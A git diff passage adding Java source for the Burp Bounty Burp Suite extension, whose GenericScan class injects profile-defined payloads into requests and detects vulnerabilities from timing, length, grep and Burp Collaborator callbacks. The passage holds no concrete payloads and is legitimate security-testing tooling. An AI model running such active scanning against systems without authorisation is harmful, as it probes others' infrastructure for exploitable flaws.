a/src/src/CollaboratorData.java b/src/src/CollaboratorData.java new file mode 100755 index 0000000..cf4cd73 --- /dev/null +++ b/src/src/CollaboratorData.java @@ -0,0 +1,74 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import burp.IBurpCollaboratorClientContext; +import burp.IExtensionHelpers; +import burp.IHttpRequestResponse; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Properties; + +public class CollaboratorData { + + private IExtensionHelpers helpers; + private List CollaboratorClientContext; + HashMap ccrequestResponse; + HashMap issues; + Properties issueProperties; + + + public CollaboratorData(IExtensionHelpers helpers) { + this.helpers = helpers; + CollaboratorClientContext = new ArrayList(); + ccrequestResponse = new HashMap(); + issues = new HashMap(); + issueProperties = new Properties(); + } + + public synchronized void setIssueProperties(IHttpRequestResponse requestResponse, String bchost, String issuename, String issuedetail, String issueseverity, String issueconfidence, + String issuebackground, String remediationdetail, String remediationbackground) { + + issueProperties = new Properties(); + issueProperties.put("issuename", issuename); + issueProperties.put("issuedetail", issuedetail); + issueProperties.put("issueseverity", issueseverity); + issueProperties.put("issueconfidence", issueconfidence); + issueProperties.put("issuebackground", issuebackground); + issueProperties.put("remediationdetail", remediationdetail); + issueProperties.put("remediationbackground", remediationbackground); + issues.put(bchost, issueProperties); + ccrequestResponse.put(bchost, requestResponse); + + } + + public synchronized Properties getIssueProperties(String bchost) { + return issues.get(bchost); + } + + public synchronized List getCollaboratorClientContext() { + return CollaboratorClientContext; + } + + public synchronized void setCollaboratorClientContext(IBurpCollaboratorClientContext bccc) { + CollaboratorClientContext.add(bccc); + } + + public synchronized IHttpRequestResponse getRequestResponse(String bchost) { + return ccrequestResponse.get(bchost); + } +} diff --git a/src/src/CustomScanIssue.java b/src/src/CustomScanIssue.java new file mode 100755 index 0000000..f093429 --- /dev/null +++ b/src/src/CustomScanIssue.java @@ -0,0 +1,115 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import burp.IHttpRequestResponse; +import burp.IHttpService; +import burp.IScanIssue; +import java.net.URL; + +class CustomScanIssue implements IScanIssue { + + private final IHttpService httpService; + private final URL url; + private final IHttpRequestResponse[] httpMessages; + private final String name; + private final String detail; + private final String severity; + private final String issueConfidence; + private final String issueRemediation; + private final String issueBackground; + private final String issueClassification; + + public CustomScanIssue( + IHttpService httpService, + URL url, + IHttpRequestResponse[] httpMessages, + String name, + String detail, + String severity, + String issueConfidence, + String issueRemediation, + String issueBackground, + String issueClassification) { + this.httpService = httpService; + this.url = url; + this.httpMessages = httpMessages; + this.name = name; + this.detail = detail; + this.severity = severity; + this.issueConfidence = issueConfidence; + this.issueRemediation = issueRemediation; + this.issueBackground = issueBackground; + this.issueClassification = issueClassification; + + } + + @Override + public URL getUrl() { + return url; + } + + @Override + public String getIssueName() { + return name; + } + + @Override + public int getIssueType() { + return 0; + } + + @Override + public String getSeverity() { + return severity; + } + + @Override + public String getConfidence() { + return issueConfidence; + } + + @Override + public String getIssueBackground() { + return issueBackground; + } + + @Override + public String getRemediationBackground() { + return issueRemediation; + } + + @Override + public String getIssueDetail() { + return detail; + } + + @Override + public String getRemediationDetail() { + return issueClassification; + } + + @Override + public IHttpRequestResponse[] getHttpMessages() { + return httpMessages; + } + + @Override + public IHttpService getHttpService() { + return httpService; + } + +} diff --git a/src/src/GenericScan.java b/src/src/GenericScan.java new file mode 100755 index 0000000..397c1c5 --- /dev/null +++ b/src/src/GenericScan.java @@ -0,0 +1,981 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import burp.IBurpExtenderCallbacks; +import burp.IExtensionHelpers; +import burp.IHttpRequestResponse; +import burp.IHttpService; +import burp.IRequestInfo; +import burp.IResponseInfo; +import burp.IResponseVariations; +import burp.IScanIssue; +import burp.IScannerInsertionPoint; +import com.google.gson.Gson; +import com.google.gson.JsonArray; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.net.MalformedURLException; +import java.net.URL; + +public class GenericScan { + + private IBurpExtenderCallbacks callbacks; + private IExtensionHelpers helpers; + String issuename; + String issuedetail; + String issuebackground; + String remediationdetail; + String remediationbackground; + String charstourlencode; + int scanner; + int matchtype; + String issueseverity; + String issueconfidence; + boolean excludeHTTP; + boolean onlyHTTP; + boolean notresponse; + boolean iscontenttype; + boolean isresponsecode; + boolean negativect; + boolean negativerc; + String contenttype; + String responsecode; + boolean casesensitive; + boolean urlencode; + Integer maxredirect; + Integer redirtype; + int payloadposition; + String timeout; + String contentLength; + List payloads; + List payloadsEncoded; + List payloadsenc; + List greps; + List encoders; + JsonArray data; + Gson gson; + ProfilesProperties profile_property; + List headers; + CollaboratorData burpCollaboratorData; + List variationAttributes; + List insertionPointType; + Boolean pathDiscovery; + String filename; + JsonArray allprofiles; + JsonArray active_profiles; + BurpBountyExtension bbe; + + public GenericScan(BurpBountyExtension bbe, IBurpExtenderCallbacks callbacks, CollaboratorData burpCollaboratorData, String filename, JsonArray allprofiles) { + + this.callbacks = callbacks; + helpers = callbacks.getHelpers(); + this.burpCollaboratorData = burpCollaboratorData; + gson = new Gson(); + this.filename = filename; + this.allprofiles = allprofiles; + this.bbe = bbe; + } + + public List runAScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint, JsonArray activeprofiles, String bchost) { + + if (helpers.analyzeResponse(baseRequestResponse.getResponse()) == null | helpers.analyzeRequest(baseRequestResponse.getRequest()) == null) { + return null; + } + + List issues = new ArrayList<>(); + IHttpService httpService = baseRequestResponse.getHttpService(); + List responseCodes = new ArrayList<>(Arrays.asList(300, 301, 303, 302, 307, 308)); + int limitredirect = 30; + + for (int i = 0; i < activeprofiles.size(); i++) { + Object idata = activeprofiles.get(i); + profile_property = gson.fromJson(idata.toString(), ProfilesProperties.class); + + payloads = profile_property.getPayloads(); + greps = profile_property.getGreps(); + issuename = profile_property.getIssueName(); + issueseverity = profile_property.getIssueSeverity(); + issueconfidence = profile_property.getIssueConfidence(); + issuedetail = profile_property.getIssueDetail(); + issuebackground = profile_property.getIssueBackground(); + remediationdetail = profile_property.getRemediationDetail(); + remediationbackground = profile_property.getRemediationBackground(); + matchtype = profile_property.getMatchType(); + notresponse = profile_property.getNotResponse(); + casesensitive = profile_property.getCaseSensitive(); + encoders = profile_property.getEncoder(); + urlencode = profile_property.getUrlEncode(); + charstourlencode = profile_property.getCharsToUrlEncode(); + iscontenttype = profile_property.getIsContentType(); + isresponsecode = profile_property.getIsResponseCode(); + contenttype = profile_property.getContentType(); + responsecode = profile_property.getResponseCode(); + excludeHTTP = profile_property.getExcludeHTTP(); + onlyHTTP = profile_property.getOnlyHTTP(); + negativect = profile_property.getNegativeCT(); + negativerc = profile_property.getNegativeRC(); + maxredirect = profile_property.getMaxRedir(); + redirtype = profile_property.getRedirection(); + payloadposition = profile_property.getPayloadPosition(); + timeout = profile_property.getTime(); + contentLength = profile_property.getContentLength(); + headers = profile_property.getHeader() != null ? profile_property.getHeader() : new ArrayList(); + variationAttributes = profile_property.getVariationAttributes() != null ? profile_property.getVariationAttributes() : new ArrayList(); + insertionPointType = profile_property.getInsertionPointType() != null ? profile_property.getInsertionPointType() : new ArrayList(Arrays.asList(0)); + pathDiscovery = profile_property.getPathDiscover(); + + IScanIssue matches = null; + GrepMatch gm = new GrepMatch(callbacks); + + //If encoders exist... + if (!encoders.isEmpty()) { + switch (matchtype) { + case 1: + payloadsEncoded = processPayload(payloads, encoders); + payloads = new ArrayList(payloadsEncoded); + break; + case 2: + payloadsEncoded = processPayload(payloads, encoders); + payloads = new ArrayList(payloadsEncoded); + break; + case 3: + payloadsEncoded = processPayload(payloads, encoders); + greps = new ArrayList(); + for (String p : payloads) { + greps.add("true,Or," + p); + } + payloads = payloadsEncoded; + break; + case 4: + greps = new ArrayList(); + payloadsEncoded = processPayload(payloads, encoders); + for (String p : payloads) { + greps.add("true,Or," + p); + } + payloads = new ArrayList(payloadsEncoded); + break; + default: + payloadsEncoded = processPayload(payloads, encoders); + payloads = new ArrayList(payloadsEncoded); + break; + } + + } else { + if (matchtype == 3) { + for (String p : payloads) { + greps.add("true,Or," + p); + } + } + } + + for (String payload : payloads) { + + if (urlencode) { + payload = encodeTheseURL(payload, charstourlencode); + } + + if (payloadposition == 2) { + String value = insertionPoint.getBaseValue(); + payload = value.concat(payload); + } + + if (!headers.isEmpty()) { + for (int x = 0; x < headers.size(); x++) { + if (headers.get(x).type.equals("Payload")) { + if (headers.get(x).regex.equals("String")) { + payload = payload.replace(headers.get(x).match, headers.get(x).replace); + } else { + payload = payload.replaceAll(headers.get(x).match, headers.get(x).replace); + } + } + } + } + + if (payload.contains(" ")) {//for avoid space in payload + payload = payload.replace(" ", "%20"); + } + + if (matchtype == 5) {//no cambiar a switch + long startTime, endTime, difference; + matches = null; + IHttpRequestResponse requestResponse; + Integer responseCode; + Integer responseCodeBase; + IResponseInfo r; + IResponseInfo rbase; + + try { + startTime = System.currentTimeMillis(); + requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers, bchost)); + endTime = System.currentTimeMillis(); + difference = (endTime - startTime); + } catch (Exception ex) { + break; + } + + r = helpers.analyzeResponse(requestResponse.getResponse()); + rbase = helpers.analyzeResponse(baseRequestResponse.getResponse()); + + responseCode = new Integer(r.getStatusCode()); + responseCodeBase = new Integer(rbase.getStatusCode()); + + if ((!isresponsecode || isresponsecode && isResponseCode(responsecode, negativerc, responseCode) && isResponseCode(responsecode, negativerc, responseCodeBase)) && (!iscontenttype || iscontenttype && isContentType(contenttype, negativect, r))) { + Integer time = Integer.parseInt(timeout); + if (difference >= time * 1000) { + matches = new CustomScanIssue(requestResponse.getHttpService(), helpers.analyzeRequest(requestResponse).getUrl(), + new IHttpRequestResponse[]{callbacks.applyMarkers(requestResponse, null, null)}, + "BurpBounty - " + issuename, issuedetail.replace("", helpers.urlEncode(payload)), issueseverity, + issueconfidence, remediationdetail.replace("", helpers.urlEncode(payload)), issuebackground.replace("", helpers.urlEncode(payload)), + remediationbackground.replace("", helpers.urlEncode(payload))); + } + } + + try { + if (matches != null) { + issues.add(matches); + break; + } + } catch (Exception e) { + continue; + } + } else if (matchtype == 7 || matchtype == 8)//Variations match type//Invariation match type + { + IHttpRequestResponse requestResponse; + matches = null; + Integer responseCode; + IResponseInfo r; + + try { + requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers, bchost)); + } catch (Exception ex) { + break; + } + + IResponseVariations ipv = helpers.analyzeResponseVariations(baseRequestResponse.getResponse(), requestResponse.getResponse()); + List var; + + if (matchtype == 7) { + var = ipv.getVariantAttributes(); + } else { + var = ipv.getInvariantAttributes(); + } + + List requestMarkers = new ArrayList(); + byte[] request = requestResponse.getRequest(); + r = helpers.analyzeResponse(requestResponse.getResponse()); + responseCode = new Integer(r.getStatusCode()); + + if ((!isresponsecode || isresponsecode && isResponseCode(responsecode, negativerc, responseCode)) && (!iscontenttype || iscontenttype && isContentType(contenttype, negativect, r))) { + if (var.containsAll(variationAttributes)) { + int start = 0; + byte[] match = helpers.stringToBytes(payload); + while (start < request.length) { + start = helpers.indexOf(request, match, false, start, request.length); + if (start == -1) { + break; + } + requestMarkers.add(new int[]{start, start + match.length}); + start += match.length; + } + + matches = new CustomScanIssue(requestResponse.getHttpService(), helpers.analyzeRequest(requestResponse).getUrl(), + new IHttpRequestResponse[]{callbacks.applyMarkers(requestResponse, requestMarkers, null)}, + "BurpBounty - " + issuename, issuedetail.replace("", helpers.urlEncode(payload)), issueseverity, + issueconfidence, remediationdetail.replace("", helpers.urlEncode(payload)), issuebackground.replace("", helpers.urlEncode(payload)), + remediationbackground.replace("", helpers.urlEncode(payload))); + } + } + try { + if (matches != null) { + issues.add(matches); + break; + } + } catch (Exception e) { + continue; + } + } else if (matchtype == 6)//Content Length difference match type + { + IHttpRequestResponse requestResponse; + matches = null; + Integer responseCode; + Integer responseCodeBase; + IResponseInfo r; + IResponseInfo rbase; + + try { + requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers, bchost)); + r = helpers.analyzeResponse(requestResponse.getResponse()); + rbase = helpers.analyzeResponse(baseRequestResponse.getResponse()); + } catch (Exception ex) { + break; + } + + responseCode = new Integer(r.getStatusCode()); + responseCodeBase = new Integer(rbase.getStatusCode()); + + if ((!isresponsecode || isresponsecode && isResponseCode(responsecode, negativerc, responseCode) && isResponseCode(responsecode, negativerc, responseCodeBase)) && (!iscontenttype || iscontenttype && isContentType(contenttype, negativect, r))) { + int baseResponseContentLength = getContentLength(baseRequestResponse); + int currentResponseContentLength = getContentLength(requestResponse); + + if (Math.abs(baseResponseContentLength - currentResponseContentLength) > Integer.parseInt(contentLength)) { + List responseMarkers = new ArrayList(1); + String grep = "CONTENT-LENGTH:"; + responseMarkers.add(new int[]{helpers.bytesToString(requestResponse.getResponse()).toUpperCase().indexOf(grep), + helpers.bytesToString(requestResponse.getResponse()).toUpperCase().indexOf(grep) + grep.length()}); + + matches = new CustomScanIssue(requestResponse.getHttpService(), helpers.analyzeRequest(requestResponse).getUrl(), + new IHttpRequestResponse[]{callbacks.applyMarkers(requestResponse, null, responseMarkers)}, + "BurpBounty - " + issuename, issuedetail.replace("", helpers.urlEncode(payload)).replace("", helpers.urlEncode(grep)), issueseverity, + issueconfidence, remediationdetail.replace("", helpers.urlEncode(payload)).replace("", helpers.urlEncode(grep)), issuebackground.replace("", helpers.urlEncode(payload)).replace("", helpers.urlEncode(grep)), + remediationbackground.replace("", helpers.urlEncode(payload)).replace("", helpers.urlEncode(grep))); + } + } + try { + if (matches != null) { + issues.add(matches); + break; + } + } catch (Exception e) { + continue; + } + } else {//String, Regex, Payload, Payload without encode match types + + if (payload.contains("{BC}")) { + + IHttpRequestResponse requestResponse; + IResponseInfo r; + Integer responseCode; + int loop = 0; + Boolean redirect = true; + URL url; + + payload = payload.replace("{BC}", bchost); + + try { + requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers, bchost)); + r = helpers.analyzeResponse(requestResponse.getResponse()); + } catch (Exception ex) { + callbacks.printError("GenericScan line 371: " + ex.getMessage()); + break; + } + + responseCode = new Integer(r.getStatusCode()); + + burpCollaboratorData.setIssueProperties(requestResponse, bchost, issuename, issuedetail.replace("", helpers.urlEncode(payload)), issueseverity, issueconfidence, remediationdetail.replace("", helpers.urlEncode(payload)), issuebackground.replace("", helpers.urlEncode(payload)), remediationbackground.replace("", helpers.urlEncode(payload))); + + do { + if (responseCodes.contains(responseCode) && loop < limitredirect) { + httpService = requestResponse.getHttpService(); + url = getRedirection(requestResponse, httpService); + + if (url != null) { + byte[] checkRequest = helpers.buildHttpRequest(url); + checkRequest = getMatchAndReplace(headers, checkRequest, payload, bchost); + int port = 0; + if (url.getPort() == -1) { + port = url.getDefaultPort(); + } + IHttpService newrequest = helpers.buildHttpService(url.getHost(), port, url.getProtocol()); + requestResponse = callbacks.makeHttpRequest(newrequest, checkRequest); + IHttpRequestResponse redirectRequestResponse = requestResponse; + r = helpers.analyzeResponse(redirectRequestResponse.getResponse()); + responseCode = new Integer(r.getStatusCode()); + } + loop += 1; + } else { + redirect = false; + } + } while (redirect); + + } else { + IHttpRequestResponse requestResponse; + IResponseInfo r; + Integer responseCode; + int loop = 0; + URL url; + Boolean redirect = true; + + //multiarray + int grep_index = 0; + ArrayList> greps_final = new ArrayList<>(greps.size()); + for (int index = 0; index < greps.size(); index++) { + greps_final.add(new ArrayList()); + } + + + + for (String grep : greps) { + String[] tokens = grep.split(",",3); + if (tokens[0].equals("true")) { + if (tokens[1].equals("Or")) { + if (!tokens[2].equals("")) { + greps_final.get(grep_index).add(tokens[2]); + grep_index = grep_index + 1; + } + } + } + } + + try { + requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers, bchost)); + IHttpRequestResponse redirectRequestResponse = requestResponse; + r = helpers.analyzeResponse(redirectRequestResponse.getResponse()); + } catch (NullPointerException e) { + break; + } + + responseCode = new Integer(r.getStatusCode()); + + if ((!isresponsecode || isresponsecode && isResponseCode(responsecode, negativerc, responseCode)) && (!iscontenttype || iscontenttype && isContentType(contenttype, negativect, r))) { + for (int x = 0; x < grep_index; x++) { + if (!greps_final.get(x).isEmpty()) { + matches = gm.getResponseMatches(requestResponse, payload, greps_final.get(x), issuename, issuedetail, issuebackground, remediationdetail, remediationbackground, charstourlencode, matchtype, + issueseverity, issueconfidence, notresponse, casesensitive, urlencode, excludeHTTP, onlyHTTP); + + try { + if (matches != null) { + issues.add(matches); + break; + } + } catch (Exception e) { + continue; + } + } + + } + } + + do { + if (responseCodes.contains(responseCode) && redirtype != 1 && loop < maxredirect && maxredirect < limitredirect) { + httpService = requestResponse.getHttpService(); + url = getRedirection(requestResponse, httpService); + + if (url != null) { + byte[] checkRequest = helpers.buildHttpRequest(url); + checkRequest = getMatchAndReplace(headers, checkRequest, payload, bchost); + int port = 0; + if (url.getPort() == -1) { + port = url.getDefaultPort(); + } + IHttpService newrequest = helpers.buildHttpService(url.getHost(), port, url.getProtocol()); + requestResponse = callbacks.makeHttpRequest(newrequest, checkRequest); + IHttpRequestResponse redirectRequestResponse = requestResponse; + r = helpers.analyzeResponse(redirectRequestResponse.getResponse()); + responseCode = new Integer(r.getStatusCode()); + + if ((!isresponsecode || isresponsecode && isResponseCode(responsecode, negativerc, responseCode)) && (!iscontenttype || iscontenttype && isContentType(contenttype, negativect, r))) { + for (int x = 0; x < grep_index; x++) { + if (!greps_final.get(x).isEmpty()) { + matches = gm.getResponseMatches(requestResponse, payload, greps_final.get(x), issuename, issuedetail, issuebackground, remediationdetail, remediationbackground, charstourlencode, matchtype, + issueseverity, issueconfidence, notresponse, casesensitive, urlencode, excludeHTTP, onlyHTTP); + + try { + if (matches != null) { + issues.add(matches); + break; + } + } catch (Exception e) { + continue; + } + } + } + } + + } else { + redirect = false; + } + + } else { + redirect = false; + } + loop += 1; + + } while (redirect); + } + } + } + } + + return issues; + } + + public List runResPScan(IHttpRequestResponse baseRequestResponse, JsonArray passiveresprofiles, String bchost) throws Exception { + + List issues = new ArrayList<>(); + + for (int i = 0; i < passiveresprofiles.size(); i++) { + Object idata = passiveresprofiles.get(i); + profile_property = gson.fromJson(idata.toString(), ProfilesProperties.class); + greps = profile_property.getGreps(); + issuename = profile_property.getIssueName(); + issueseverity = profile_property.getIssueSeverity(); + issueconfidence = profile_property.getIssueConfidence(); + issuedetail = profile_property.getIssueDetail(); + issuebackground = profile_property.getIssueBackground(); + remediationdetail = profile_property.getRemediationDetail(); + remediationbackground = profile_property.getRemediationBackground(); + matchtype = profile_property.getMatchType(); + notresponse = profile_property.getNotResponse(); + casesensitive = profile_property.getCaseSensitive(); + iscontenttype = profile_property.getIsContentType(); + isresponsecode = profile_property.getIsResponseCode(); + contenttype = profile_property.getContentType(); + responsecode = profile_property.getResponseCode(); + excludeHTTP = profile_property.getExcludeHTTP(); + onlyHTTP = profile_property.getOnlyHTTP(); + negativect = profile_property.getNegativeCT(); + negativerc = profile_property.getNegativeRC(); + scanner = profile_property.getScanner(); + IResponseInfo r; + GrepMatch gm = new GrepMatch(callbacks); + IScanIssue matches = null; + int grep_index = 0; + ArrayList> greps_final = new ArrayList<>(greps.size()); + + if (baseRequestResponse == null) { + break; + } + + try { + r = helpers.analyzeResponse(baseRequestResponse.getResponse()); + } catch (NullPointerException e) { + break; + } + + //multiarray + for (int index = 0; index < greps.size(); index++) { + greps_final.add(new ArrayList()); + } + Integer responseCode = new Integer(r.getStatusCode()); + + for (String grep : greps) { + if ((isresponsecode && !isResponseCode(responsecode, negativerc, responseCode)) || (iscontenttype && !isContentType(contenttype, negativect, r))) { + break; + } + + String[] tokens = grep.split(",",3); + + if (tokens.length > 1) { + if (tokens[0].equals("true")) { + if (tokens[1].equals("Or")) { + if (!tokens[2].equals("")) { + greps_final.get(grep_index).add(tokens[2]); + grep_index = grep_index + 1; + } + } + } + } else { + if (!tokens[0].equals("")) { + greps_final.get(grep_index).add(tokens[0]); + grep_index = grep_index + 1; + } + } + } + + for (int x = 0; x < grep_index; x++) { + if (!greps_final.get(x).isEmpty()) { + matches = gm.getResponseMatches(baseRequestResponse, "", greps_final.get(x), issuename, issuedetail.replace("", helpers.urlEncode(greps_final.get(x).toString())), issuebackground.replace("", helpers.urlEncode(greps_final.get(x).toString())), remediationdetail.replace("", helpers.urlEncode(greps_final.get(x).toString())), remediationbackground.replace("", helpers.urlEncode(greps_final.get(x).toString())), "", matchtype, + issueseverity, issueconfidence, notresponse, casesensitive, false, excludeHTTP, onlyHTTP); + } + + try { + if (matches != null) { + issues.add(matches); + break; + } + } catch (Exception e) { + continue; + } + } + } + return issues; + } + + public List runReqPScan(IHttpRequestResponse baseRequestResponse, JsonArray passivereqprofiles, String bchost) throws Exception { + + List issues = new ArrayList<>(); + Object[] matches = null; + + for (int i = 0; i < passivereqprofiles.size(); i++) { + Object idata = passivereqprofiles.get(i); + profile_property = gson.fromJson(idata.toString(), ProfilesProperties.class); + greps = profile_property.getGreps(); + issuename = profile_property.getIssueName(); + issueseverity = profile_property.getIssueSeverity(); + issueconfidence = profile_property.getIssueConfidence(); + issuedetail = profile_property.getIssueDetail(); + issuebackground = profile_property.getIssueBackground(); + remediationdetail = profile_property.getRemediationDetail(); + remediationbackground = profile_property.getRemediationBackground(); + matchtype = profile_property.getMatchType(); + notresponse = profile_property.getNotResponse(); + casesensitive = profile_property.getCaseSensitive(); + scanner = profile_property.getScanner(); + + int grep_index = 0; + ArrayList> greps_final = new ArrayList<>(greps.size()); + GrepMatch gm = new GrepMatch(callbacks); + + if (baseRequestResponse.getRequest() == null) { + break; + } + + //multiarray + for (int index = 0; index < greps.size(); index++) { + greps_final.add(new ArrayList()); + } + + for (String grep : greps) { + + String[] tokens = grep.split(",",5); + + if (tokens.length > 1) { + if (tokens[0].equals("true")) { + if (tokens[1].equals("Or")) { + if (!tokens[4].equals("")) { + greps_final.get(grep_index).add(tokens[2] + "," + tokens[4]); + grep_index = grep_index + 1; + } + } + } + } else { + if (!tokens[0].equals("")) { + greps_final.get(grep_index).add("All Request" + "," + tokens[0]); + grep_index = grep_index + 1; + } + } + } + + for (int x = 0; x < grep_index; x++) { + if (!greps_final.get(x).isEmpty()) { + matches = gm.getRequestMatches(baseRequestResponse, greps_final.get(x), issuename, issuedetail.replace("", helpers.urlEncode(greps_final.get(x).toString())), issuebackground.replace("", helpers.urlEncode(greps_final.get(x).toString())), remediationdetail.replace("", helpers.urlEncode(greps_final.get(x).toString())), remediationbackground.replace("", helpers.urlEncode(greps_final.get(x).toString())), matchtype, + issueseverity, issueconfidence, casesensitive, notresponse); + + try { + if (matches[0] != null) { + issues.add((IScanIssue) matches[0]); + break; + } + } catch (Exception e) { + continue; + } + } + } + } + return issues; + } + + public Boolean isUrlExtension(String urlextension, boolean NegativeUrlExtension, IRequestInfo r) { + + if (urlextension.isEmpty()) { + return false; + } + + URL url = r.getUrl(); + List extensions = Arrays.asList(urlextension.toLowerCase().split(",")); + String uri = url.getPath().toLowerCase(); + String ext; + + if (uri.contains(".")) { + ext = uri.substring(uri.lastIndexOf(".") + 1); + } else { + return true; + } + + if (extensions.contains(ext)) { + if (!NegativeUrlExtension) { + return true; + } else { + return false; + } + } else { + if (NegativeUrlExtension) { + return true; + } else { + return false; + } + } + } + + public URL getRedirection(IHttpRequestResponse response, IHttpService httpService) { + + try { + URL url = getLocation(httpService, response); + + if (url.toString().contains("burpcollaborator.net")) { + return url; + } else if (redirtype == 2) { + if (url.getHost().contains(httpService.getHost())) { + return url; + } + } else if (redirtype == 3) { + boolean isurl = callbacks.isInScope(url); + if (isurl) { + return url; + } + } else if (redirtype == 4) { + return url; + } else { + return null; + } + + return null; + } catch (NullPointerException | ArrayIndexOutOfBoundsException ex) { + return null; + } + } + + public URL getLocation(IHttpService httpService, IHttpRequestResponse response) { + String[] host = null; + String Location = ""; + URL url; + + try { + IResponseInfo response_info = helpers.analyzeResponse(response.getResponse()); + + for (String header : response_info.getHeaders()) { + if (header.toUpperCase().contains("LOCATION")) { + host = header.split("\\s+"); + Location = host[1]; + } + } + + if (Location.startsWith("http://") || Location.startsWith("https://")) { + url = new URL(Location); + return url; + } else if (Location.startsWith("/")) { + url = new URL(httpService.getProtocol() + "://" + httpService.getHost() + Location); + return url; + } else{ + url = new URL(httpService.getProtocol() + "://" + httpService.getHost() + "/" + Location); + return url; + } + + } catch (MalformedURLException | NullPointerException | ArrayIndexOutOfBoundsException ex) { + return null; + } + } + +public byte[] getMatchAndReplace(List headers, byte[] checkRequest, String payload, String bchost) { + String tempRequest = helpers.bytesToString(checkRequest); + + if (!headers.isEmpty()) { + for (int x = 0; x < headers.size(); x++) { + String replace = headers.get(x).replace; + if (headers.get(x).type.equals("Request")) { + if (headers.get(x).regex.equals("String")) { + if (replace.contains("{PAYLOAD}")) { + replace = replace.replace("{PAYLOAD}", payload); + } + if (replace.contains("{BC}")) { + replace = replace.replace("{BC}", bchost); + } + if (headers.get(x).match.isEmpty()) { + tempRequest = tempRequest.replace("\r\n\r\n", "\r\n" + replace + "\r\n\r\n"); + } else { + tempRequest = tempRequest.replace(headers.get(x).match, replace); + } + } else { + if (replace.contains("{PAYLOAD}")) { + replace = replace.replaceAll("\\{PAYLOAD\\}", payload); + } + if (replace.contains("{BC}")) { + replace = replace.replaceAll("\\{BC\\}", bchost); + } + if (headers.get(x).match.isEmpty()) { + tempRequest = tempRequest.replaceAll("\\r\\n\\r\\n", "\r\n" + replace + "\r\n\r\n"); + } else { + tempRequest = tempRequest.replaceAll(headers.get(x).match, replace); + } + } + + } + } + } + return helpers.stringToBytes(tempRequest); + } + + public int getContentLength(IHttpRequestResponse response) { + IResponseInfo response_info; + try { + response_info = helpers.analyzeResponse(response.getResponse()); + } catch (NullPointerException ex) { + return 0; + } + + int ContentLength = 0; + + for (String headers : response_info.getHeaders()) { + if (headers.toUpperCase().contains("CONTENT-LENGTH:")) { + ContentLength = Integer.parseInt(headers.split("\\s+")[1]); + } + } + return ContentLength; + } + + public boolean isResponseCode(String responsecodes, boolean negativerc, Integer responsecode) { + + if (responsecodes.isEmpty()) { + return false; + } + + List items = Arrays.asList(responsecodes.split("\\s*,\\s*")); + String code = Integer.toString(responsecode); + + if (items.contains(code)) { + if (!negativerc) { + return true; + } else { + return false; + } + } else { + if (negativerc) { + return true; + } else { + return false; + } + } + } + + public boolean isContentType(String contenttype, boolean negativect, IResponseInfo r) { + List HEADERS = r.getHeaders(); + + if (contenttype.isEmpty()) { + return false; + } + + List items = Arrays.asList(contenttype.toUpperCase().split("\\s*,\\s*")); + + for (String header : HEADERS) { + if (header.toUpperCase().contains("CONTENT-TYPE")) { + String content_type = header.substring(header.lastIndexOf(":") + 1).toUpperCase(); + if (items.contains(content_type.replace(" ", ""))) { + if (negativect) { + return false; + } + } else { + if (!negativect) { + return false; + } + } + } + } + return true; + } + + public List processPayload(List payloads, List encoders) { + List pay = new ArrayList(); + for (String payload : payloads) { + + for (String p : encoders) { + switch (p) { + case "URL-encode key characters": + payload = encodeKeyURL(payload); + break; + case "URL-encode all characters": + payload = encodeURL(payload); + break; + case "URL-encode all characters (Unicode)": + payload = encodeUnicodeURL(payload); + break; + case "HTML-encode key characters": + payload = encodeKeyHTML(payload); + break; + case "HTML-encode all characters": + payload = encodeHTML(payload); + break; + case "Base64-encode": + payload = helpers.base64Encode(payload); + default: + break; + } + } + pay.add(payload); + } + + return pay; + } + + public static String encodeURL(String s) { + StringBuffer out = new StringBuffer(); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + out.append("%" + Integer.toHexString((int) c)); + } + return out.toString(); + } + + public static String encodeUnicodeURL(String s) { + StringBuffer out = new StringBuffer(); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + out.append("%u00" + Integer.toHexString((int) c)); + } + return out.toString(); + } + + public static String encodeHTML(String s) { + StringBuffer out = new StringBuffer(); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + out.append("&#x" + Integer.toHexString((int) c) + ";"); + } + return out.toString(); + } + + public static String encodeKeyHTML(String s) { + StringBuffer out = new StringBuffer(); + String key = 